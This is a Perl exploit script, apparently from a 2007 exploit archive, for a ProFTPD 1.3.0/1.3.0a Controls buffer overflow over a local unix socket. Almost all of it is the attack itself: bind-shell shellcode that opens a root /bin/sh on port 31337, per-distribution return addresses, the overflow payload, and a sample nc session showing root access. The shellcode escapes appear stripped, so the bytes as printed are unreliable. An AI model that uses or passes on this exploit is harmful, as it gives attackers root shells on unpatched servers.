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revenge_proftpd_ctrls_26.pl.txt

Posted on 20 February 2007

#!/usr/bin/perl -w
#
# $Id: revenge_proftpd_ctrls_26.pl, v1.1 2007/02/18 19:30:25 revenge Exp $
#
# ProFTPD v1.3.0/1.3.0a Controls Buffer Overflow Exploit
#
# Original Advisory :
#  http://www.coresecurity.com/?action=item&id=1594
#
# [ Exploitation condition ]
# - proftpd must be compiled with --enable-ctrls option
# - local user needs permission to connect through unix socket (from proftpd.conf)
#
# This one works for 2.6 exploitation against gcc 4.x
# Payload will bind /bin/sh on port 31337 with ( uid && gid = 0 )
# I was able to use only a <bind_shell> as payload since a normal (setuid + execve) seems that doesn't work
#
# Tested against:
# - ProFTPD 1.3.0/1.3.0a on Ubuntu 6.10 compiled with gcc 4.1.2
# - ProFTPD 1.3.0/1.3.0a on Debian Etch(4.0.2-5) compiled with gcc 4.0.3
# *** Against v1.3.0a -- server *could* remain up (in a Denial of Service condition) without binding shell
#
# revenge@eleusi~$ ./revenge_proftpd_ctrls.pl /usr/local/var/proftpd/proftpd.sock 1
# [ wait some secs then nc on port 31337 ]
# anyone@anywhere:~$ nc <host> 31337
# id
# uid=0(root) gid=0(root) groups=65534(nogroup)
# exit
# [ after that server will deactivate ]
#
# Alfredo "revenge" Pesoli
#
# http://www.0xcafebabe.it/
# <revenge@0xcafebabe.it>
#

use strict;
use Socket;

if ( @ARGV < 2 ) { &usage(); }

my $hellcode =
# *** Generated with libShellCode
# setuid(0) + setgid(0) + bind(/bin/sh) on port 31337
"x31xc0x31xdbxb0x17xcdx80x31xc0x31xdbxb0x2excdx80".
"x31xdbxf7xe3xb0x66x53x43x53x43x53x89xe1x4bxcdx80".
"x89xc7x31xc9x66xb9x7ax69x52x66x51x43x66x53x89xe1".
"xb0x10x50x51x57x89xe1xb0x66xcdx80xb0x66xb3x04xcd".
"x80x31xc0x50x50x57x89xe1xb3x05xb0x66xcdx80x89xc3".
"x89xd9xb0x3fx49xcdx80x41xe2xf8xebx18x5ex31xc0x88".
"x46x07x89x76x08x89x46x0cxb0x0bx89xf3x8dx4ex08x8d".
"x56x0cxcdx80xe8xe3xffxffxffx2fx62x69x6ex2fx73x68";

my $rsock   = shift;
my $tn 	    = shift;

my $ret;
my $req;

if ( $tn == '1' ) { $req = "A"x512; }
else { $req = "A"x520; }

use constant LSOCK  => '/tmp/tmp.sock';
use constant CANARY => "x0axff";
use constant JUNK   => "AAAAaaaaAAAAaaaa";

my %targets = (
'1' => "x77xe7xffxff",  # Ubuntu 6.10
'2' => "x77xe7xffxff"   # Debian Etch 4.0.2-5
# Add here your target RET
);

my %tname = (
'1' => "Ubuntu 6.10",
'2' => "Debian Etch 4.0.2-5"
);

$ret = $targets{$tn};

my $buffer = $req.CANARY.JUNK.$ret.$hellcode;
my $l = length($buffer);

socket (SOCK, PF_UNIX, SOCK_STREAM, 0)  or die "Unable to create socket : $!";
my $rfile = sockaddr_un($rsock);

unlink LSOCK;
my $lfile = sockaddr_un(LSOCK);

bind (SOCK, $lfile) or die "Unable to bind to $lfile";
chmod (00700, LSOCK);

connect (SOCK, $rfile) or die "
Unable to connect to ".$rsock."
Maybe server is down or incorrect path

";

print "
 Buffer length => ".$l."
";
print " Target => ".$tname{$tn}."
";

send SOCK, pack("s2", 0),0;
send SOCK, pack("s2", 1,0),0;
send SOCK, pack("C", 188).pack("C",2).pack("s1",0),0;
send SOCK, $buffer,0;

close SOCK;

print "
 [#] Request sent - try to connect on port 31337

";

sub usage() {
print "
 ProFTPD 1.3.0/1.3.0a Controls Buffer Overflow
";
print " Alfredo "revenge" Pesoli
";
print " <revenge@0xcafebabe.it>

";
print "Usage : $0 <path_to_unix_socket> <target>
";
print "   Ex : $0 /usr/local/var/proftpd/proftpd.sock 1
";
print "
 Available Targets :
";
print "  1 => 0xffffe777 (Ubuntu 6.10 - EIP after 532 bytes)
";
print "  2 => 0xffffe777 (Debian Etch 4.0.2-5 - EIP after 540 bytes)

";
exit();
}

 

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